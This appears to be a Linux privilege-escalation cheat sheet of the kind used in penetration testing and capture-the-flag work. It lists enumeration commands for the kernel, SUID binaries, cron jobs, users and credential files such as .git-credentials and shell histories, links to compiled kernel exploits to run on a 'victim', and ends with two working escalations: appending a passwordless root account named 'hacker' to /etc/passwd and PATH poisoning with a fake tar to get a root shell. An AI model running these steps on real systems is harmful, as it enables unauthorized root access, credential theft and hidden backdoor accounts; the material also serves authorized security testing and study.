Linux Privesc
Checklist
OS Enumeration
(cat /proc/version || uname -a) 2>/dev/null
lsb_release -a 2>/dev/null # old, not default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Environment Info
env
set
Kernel Version & Exploits
cat /proc/version
uname -a
- Vulnerable kernel list (hacktricks): https://github.com/lucyoa/kernel-exploits
- Extract vulnerable versions from that repo:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d ',' | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
- Compiled exploits: https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits, https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
- Exploit suggesters: https://github.com/mzet-/linux-exploit-suggester, https://github.com/jondonas/linux-exploit-suggester-2, linuxprivchecker.py (run on victim; kernel 2.x only)
- Always Google the exact kernel version too.
Processes
ps aux
ps -ef
top -n 1
SUID / SGID
find / -perm /4000 2>/dev/null # SUID
find / -perm /2000 2>/dev/null # SGID
Cron
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Users
cat /etc/passwd | grep -Ev "false|nologin|sync"
cat /etc/passwd | grep "sh$" # users with console
awk -F: '($3 == "0") {print}' /etc/passwd # superusers
w # logged on now
last | tail # login history
lastlog # last login per user
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null); do id $i; done 2>/dev/null | sort
Interesting Files
ls -l /etc/profile /etc/profile.d/ # profile files
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root # interesting/backup folders
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null # recently modified
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null # sqlite DBs
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
find / -type f -iname ".*" -ls 2>/dev/null # hidden files
for d in $(echo $PATH | tr ":" "\n"); do find $d -name "*.sh" 2>/dev/null; done # scripts in PATH
for d in $(echo $PATH | tr ":" "\n"); do find $d -type f -executable 2>/dev/null; done # binaries in PATH
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null # backups
find . | sed -e "s/[^-][^\/]*\//|/g" -e "s/|\([^ ]\)/|-\1/" # tree alternative
Writable /etc/passwd:
echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd
su - hacker
$PATH Poisoning
If a user-owned script runs a binary (e.g. tar) as root:
echo "/bin/bash" > /tmp/tar
chmod 777 /tmp/tar
export PATH=/tmp:$PATH
Run the script: the fake tar fires → shell.